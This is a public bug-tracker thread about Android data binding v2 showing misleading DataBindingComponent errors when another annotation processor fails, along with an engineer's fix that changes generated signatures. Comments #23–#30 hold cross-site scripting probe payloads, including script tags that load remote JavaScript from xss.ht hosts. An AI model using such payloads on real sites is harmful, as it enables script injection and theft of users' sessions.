Fixed
Status Update
Comments
yb...@google.com <yb...@google.com> #2
Unfortunately this is a javac problem that we cannot fully work around.
Basically, if compilation fails fatally in an early processing step, javac ignores all of the other generated code; which would have solve non-fatal problems.
That is not something we can change. In v2, we've moved the "user accessed generated code" generation to Gradle so that these errors mostly show up in generated code, not in your own code but it is impossible to completely get rid of them without significantly changing how data binding or javac works.
That being said, there is a new option in the latest Android Gradle Plugin that does annotation processing in 2 steps. That should technically help with this problem.
Can you try that ?
Basically, if compilation fails fatally in an early processing step, javac ignores all of the other generated code; which would have solve non-fatal problems.
That is not something we can change. In v2, we've moved the "user accessed generated code" generation to Gradle so that these errors mostly show up in generated code, not in your own code but it is impossible to completely get rid of them without significantly changing how data binding or javac works.
That being said, there is a new option in the latest Android Gradle Plugin that does annotation processing in 2 steps. That should technically help with this problem.
Can you try that ?
yb...@google.com <yb...@google.com> #3
cc j..@ from tools team to see if the enw annotation processor setup can help fix this issue.
j..@, will the java compile task run even if annotation processing step fails ?
j..@, will the java compile task run even if annotation processing step fails ?
je...@google.com <je...@google.com> #4
no the java compile task will not run in that case, since these are two tasks, annotation processing failures in the earlier task will stop the build.
yb...@google.com <yb...@google.com> #5
So this is a common problem caused by javac that effects not only data binding but also libraries like epoxy, dagger and some other.
Would be nice to run javac even if apt fails to avoid this problem.
Would be nice to run javac even if apt fails to avoid this problem.
yb...@google.com <yb...@google.com> #6
I assume developer will lose more time trying to figure out what the real error is compared to the time they would lose by running javac.
xt...@gmail.com <xt...@gmail.com> #7
yb..@, which option are you mentioning? I can't find anything that looks like this in release notes.
ka...@gmail.com <ka...@gmail.com> #8
I am also facing the same problem.Any solution yet?
yb...@google.com <yb...@google.com> #9
android.enableSeparateAnnotationProcessing
xt...@gmail.com <xt...@gmail.com> #10
Unfortunately, this flag does not work for us because we use kapt.
yb...@google.com <yb...@google.com> #11
I might be able to fix this by breaking the java API but that is called from generated code so might be OK.
DataBindingComponent is a rarely used feature yet causes this biggest issue since generated code references it.
We can consider making generated code use an Object instead and auto-cast it before accessing (hence no field will be kept in that type).
It is very ugly and i need to figure out how it will stay backwards compatilble but that would avoid the errors so maybe ugly API is worth the gain of not having a million errors.
I'll experiment.
DataBindingComponent is a rarely used feature yet causes this biggest issue since generated code references it.
We can consider making generated code use an Object instead and auto-cast it before accessing (hence no field will be kept in that type).
It is very ugly and i need to figure out how it will stay backwards compatilble but that would avoid the errors so maybe ugly API is worth the gain of not having a million errors.
I'll experiment.
yb...@google.com <yb...@google.com> #12
Here is the initial plan I have, please comment if you are interested in helping.
* Change `ViewDataBinding` constrcutor to receive `DataBindingComponent` as type of `Object` instead of `DataBindingComponent`. Change all generated binding constructors & static factory methods to do the same.
* Auto cast it in back to `DataBindingComponent` in the constructor of ViewDataBinding. Keeping `projected mBindingComponent` for backwards compatibility for already generated code.
* Change DataBindingComponent implementation to act as a service locator. It will still generate methods for instance non-static adapter but it will also have a method that has `getInstanceAdapter(BindingAdapterClass.class)`. Generated code will access that through DataBindingUtil which will have a signature like `AdapterClass DataBindingUtil.getInstanceAdapter<AdapterClass>(ViewDataBinding binding, Class<AdapterClass> klass)`. This will avoid accessing DataBindingComponent in the generated code.
I think this might fix the issues. It changes the API for static generated methods but it won't break user code UNLESS someone used a SAM conversion while calling a static method with DataBindingComponent. I think that is a risk we can take to fix the greater issue.
We can not easily make this a flag since it changes library API surface.
* Change `ViewDataBinding` constrcutor to receive `DataBindingComponent` as type of `Object` instead of `DataBindingComponent`. Change all generated binding constructors & static factory methods to do the same.
* Auto cast it in back to `DataBindingComponent` in the constructor of ViewDataBinding. Keeping `projected mBindingComponent` for backwards compatibility for already generated code.
* Change DataBindingComponent implementation to act as a service locator. It will still generate methods for instance non-static adapter but it will also have a method that has `getInstanceAdapter(BindingAdapterClass.class)`. Generated code will access that through DataBindingUtil which will have a signature like `AdapterClass DataBindingUtil.getInstanceAdapter<AdapterClass>(ViewDataBinding binding, Class<AdapterClass> klass)`. This will avoid accessing DataBindingComponent in the generated code.
I think this might fix the issues. It changes the API for static generated methods but it won't break user code UNLESS someone used a SAM conversion while calling a static method with DataBindingComponent. I think that is a risk we can take to fix the greater issue.
We can not easily make this a flag since it changes library API surface.
yb...@google.com <yb...@google.com> #13
ugh DataBindingComponent is an interface and we cannot convert it into an abstract class since it will change the API :/.
yb...@google.com <yb...@google.com> #14
since we cannot do that change, 1 possible alternative is to implement the service locator in the DataBindingUtil which can convert the component into a service locator.
We can create a class called `DataBindingComponentServiceLocator : DataBindingComponent` and ViewDataBidning can call `DataBindingUtil.toServiceLocator(componentAsObject) : DataBindingComponentServiceLocator`.
Then DataBindingComponentServiceLocator would do a reflection upon itself to discover getters on first access.
Reflection is not great but since we will be looking at return types, it will be proguard safe.
We can create a class called `DataBindingComponentServiceLocator : DataBindingComponent` and ViewDataBidning can call `DataBindingUtil.toServiceLocator(componentAsObject) : DataBindingComponentServiceLocator`.
Then DataBindingComponentServiceLocator would do a reflection upon itself to discover getters on first access.
Reflection is not great but since we will be looking at return types, it will be proguard safe.
yb...@google.com <yb...@google.com> #15
Actually on a second thought, we may not need any of this service locator generation.
The generated code that accesses DataBindingComponent to use it only does from the code generated in the annotation processor which means it is generated at the same time as the DataBindingComponent.
This means we don't need to worry about it but instead just change the public signatures of generated code.
That would simplify backwards compatibility story as well.
The generated code that accesses DataBindingComponent to use it only does from the code generated in the annotation processor which means it is generated at the same time as the DataBindingComponent.
This means we don't need to worry about it but instead just change the public signatures of generated code.
That would simplify backwards compatibility story as well.
yb...@google.com <yb...@google.com> #16
related javac issues for reference: ( i couldn't find the original isse but there are plenty of reports).
https://bugs.openjdk.java.net/browse/JDK-6403465
https://bugs.openjdk.java.net/browse/JDK-8159770
https://bugs.openjdk.java.net/browse/JDK-8149637
https://bugs.openjdk.java.net/browse/JDK-8194900
tl;dr; as ugly as this supposed fix is there is no other backwards compatible fix i can think of.
tl;dr; as ugly as this supposed fix is there is no other backwards compatible fix i can think of.
yb...@google.com <yb...@google.com> #17
Ok, here is a plan for which I have the implementation and it gets rid of the DataBindingMapper errors.
For generated Binding classes (e.g. MainActivityBinding.java for main_activity.xml), the static methods that receive `DataBindingComponent component` will be changed to receive `Object component`.
The following static methods will change signature and will also be deprecated:
old methods:
* public static ActivityMainBinding inflate(@NonNull LayoutInflater inflater, @Nullable ViewGroup root, boolean attachToRoot, @Nullable DataBindingComponent component)
* public static ActivityMainBinding inflate(@NonNull LayoutInflater inflater, @Nullable DataBindingComponent component)
* public static ActivityMainBinding bind(@NonNull View view, @Nullable DataBindingComponent component)
new methods:
* @Deprecated public static ActivityMainBinding inflate(@NonNull LayoutInflater inflater, @Nullable ViewGroup root, boolean attachToRoot, @Nullable Object component)
* @Deprecated public static ActivityMainBinding inflate(@NonNull LayoutInflater inflater, @Nullable Object component)
* @Deprecated public static ActivityMainBinding bind(@NonNull View view, @Nullable Object component)
Developers should prefer using DataBindingUtil.inflate method when they want to specify a component.
We cannot remove those methods for backwards compatibility but converting them to Object works around the many reports error without breaking user's code (unless if they used a SAM conversion which is a risk I"m OK to take)
After these changes, annotation processor fails do not generate errors for generated Binding classes which should be a relief (it will still show errors for missing BR classes but fewer people use them as well).
For generated Binding classes (e.g. MainActivityBinding.java for main_activity.xml), the static methods that receive `DataBindingComponent component` will be changed to receive `Object component`.
The following static methods will change signature and will also be deprecated:
old methods:
* public static ActivityMainBinding inflate(@NonNull LayoutInflater inflater, @Nullable ViewGroup root, boolean attachToRoot, @Nullable DataBindingComponent component)
* public static ActivityMainBinding inflate(@NonNull LayoutInflater inflater, @Nullable DataBindingComponent component)
* public static ActivityMainBinding bind(@NonNull View view, @Nullable DataBindingComponent component)
new methods:
* @Deprecated public static ActivityMainBinding inflate(@NonNull LayoutInflater inflater, @Nullable ViewGroup root, boolean attachToRoot, @Nullable Object component)
* @Deprecated public static ActivityMainBinding inflate(@NonNull LayoutInflater inflater, @Nullable Object component)
* @Deprecated public static ActivityMainBinding bind(@NonNull View view, @Nullable Object component)
Developers should prefer using DataBindingUtil.inflate method when they want to specify a component.
We cannot remove those methods for backwards compatibility but converting them to Object works around the many reports error without breaking user's code (unless if they used a SAM conversion which is a risk I"m OK to take)
After these changes, annotation processor fails do not generate errors for generated Binding classes which should be a relief (it will still show errors for missing BR classes but fewer people use them as well).
yb...@google.com <yb...@google.com> #18
super scientific :p user study for reference:
https://twitter.com/yigitboyar/status/1064914985287991296
I think the UX benefit of not seeing these errors is much bettter than having that convenience API in binding classes.
I think the UX benefit of not seeing these errors is much bettter than having that convenience API in binding classes.
yb...@google.com <yb...@google.com> #19
Merged the change.
If things go according to schedule, should be available in 3.4 Canary 7.
If things go according to schedule, should be available in 3.4 Canary 7.
gu...@gmail.com <gu...@gmail.com> #20
Are non-static @BindingAdapter methods still supported, in case the new ViewBinding API is being used in tandem with the old data binding one?
yb...@google.com <yb...@google.com> #21
not sure what that means. binding adapters are a feature of data bindng, has no interaction with view binding.
bu...@gmail.com <bu...@gmail.com> #22
dsd
[Deleted User] <[Deleted User]> #23
testacc@hubopss.com‘-alert(“h4ck3d!!”)-’
[Deleted User] <[Deleted User]> #24
<img src=x onerror=alert('XSS!')>
[Deleted User] <[Deleted User]> #25
<img """><script>alert("XSS by \nxss")</script><marquee><h1>XSS by xss</h1></marquee>
[Deleted User] <[Deleted User]> #26
[Deleted User] <[Deleted User]> #27
<script>$.getScript("//rajatmqasglobal.xss.ht ")</script>
da...@gmail.com <da...@gmail.com> #28
javascript:eval('var a=document.createElement(\'script\');a.src=\'https://hax1337.xss.ht \';document.body.appendChild(a)')
da...@gmail.com <da...@gmail.com> #30
<script>$.getScript("//hax1337.xss.ht ")</script>
mo...@gmail.com <mo...@gmail.com> #31
Don't forget to set attachToRoot to false in your binding. Fixe the issue for me.
Like so:
binding = ActivityMainBinding.inflate(layoutInflater, parent , false)
Like so:
binding = ActivityMainBinding.inflate(layoutInflater, parent , false)
da...@gmail.com <da...@gmail.com> #32
Comment has been deleted.
da...@gmail.com <da...@gmail.com> #33
How to force use data binding v1? because now it is being flagged by CASA scan as a security vulnerability.
083 | } 084 | 085 | @NonNull 086 | public static FragmentUnauthenticatedClaimsFormBinding inflate(@NonNull LayoutInflater inflater, 087 | @Nullable ViewGroup root, boolean attachToRoot) {
088 | return inflate(inflater, root, attachToRoot, DataBindingUtil.getDefaultComponent()); 089 | } 090 | 091 | /** 092 | * This method receives DataBindingComponent instance as type Object instead of 093 | * type DataBindingComponent to avoid causing too many compilation errors if
Description
Version used: 3.2.0
Databinding processor produces errors when another annotation processor fails and there is no databinding errors making it impossible to locate the error.
Output with databinding v2 enabled:
e: /Users/dkostyrev/Projects/DatabindingError/app/build/generated/data_binding_base_class_source_out/debug/dataBindingGenBaseClassesDebug/out/com/example/dkostyrev/databindingerror/databinding/MainActivityBinding.java:17: error: cannot find symbol
protected MainActivityBinding(DataBindingComponent _bindingComponent, View _root,
^
symbol: class DataBindingComponent
location: class MainActivityBinding
e: /Users/dkostyrev/Projects/DatabindingError/app/build/generated/data_binding_base_class_source_out/debug/dataBindingGenBaseClassesDebug/out/com/example/dkostyrev/databindingerror/databinding/MainActivityBinding.java:37: error: cannot find symbol
@Nullable ViewGroup root, boolean attachToRoot, @Nullable DataBindingComponent component) {
^
symbol: class DataBindingComponent
location: class MainActivityBinding
e: /Users/dkostyrev/Projects/DatabindingError/app/build/generated/data_binding_base_class_source_out/debug/dataBindingGenBaseClassesDebug/out/com/example/dkostyrev/databindingerror/databinding/MainActivityBinding.java:48: error: cannot find symbol
@Nullable DataBindingComponent component) {
^
symbol: class DataBindingComponent
location: class MainActivityBinding
e: /Users/dkostyrev/Projects/DatabindingError/app/build/generated/data_binding_base_class_source_out/debug/dataBindingGenBaseClassesDebug/out/com/example/dkostyrev/databindingerror/databinding/MainActivityBinding.java:57: error: cannot find symbol
@Nullable DataBindingComponent component) {
^
symbol: class DataBindingComponent
location: class MainActivityBinding
e: /Users/dkostyrev/Projects/DatabindingError/app/build/tmp/kapt3/stubs/debug/com/example/dkostyrev/databindingerror/MainActivity.java:8: error: Dagger does not support injection into private fields
private com.example.dkostyrev.databindingerror.Injectable injectable;
^
e: /Users/dkostyrev/Projects/DatabindingError/app/build/tmp/kapt3/stubs/debug/com/example/dkostyrev/databindingerror/AppComponent.java:10: error: [Dagger/MissingBinding] com.example.dkostyrev.databindingerror.MainActivity cannot be provided without an @Inject constructor or an @Provides-annotated method.
public abstract void inject(@org.jetbrains.annotations.NotNull()
^
com.example.dkostyrev.databindingerror.MainActivity is injected at
com.example.dkostyrev.databindingerror.AppComponent.inject(com.example.dkostyrev.databindingerror.MainActivity)
> Task :app:kaptDebugKotlin FAILED
FAILURE: Build failed with an exception.
* What went wrong:
Execution failed for task ':app:kaptDebugKotlin'.
> Compilation error. See log for more details
Output with databinding v2 disabled (Expected behaviour).
e:
/Users/dkostyrev/Projects/DatabindingError/app/build/tmp/kapt3/stubs/debug/com/example/dkostyrev/databindingerror/MainActivity.java:8: error: Dagger does not support injection into private fields
private com.example.dkostyrev.databindingerror.Injectable injectable;
^
e: /Users/dkostyrev/Projects/DatabindingError/app/build/tmp/kapt3/stubs/debug/com/example/dkostyrev/databindingerror/AppComponent.java:10: error: [Dagger/MissingBinding] com.example.dkostyrev.databindingerror.MainActivity cannot be provided without an @Inject constructor or an @Provides-annotated method.
public abstract void inject(@org.jetbrains.annotations.NotNull()
^
com.example.dkostyrev.databindingerror.MainActivity is injected at
com.example.dkostyrev.databindingerror.AppComponent.inject(com.example.dkostyrev.databindingerror.MainActivity)
> Task :app:kaptDebugKotlin FAILED
FAILURE: Build failed with an exception.
* What went wrong:
Execution failed for task ':app:kaptDebugKotlin'.
> Compilation error. See log for more details
Sample project: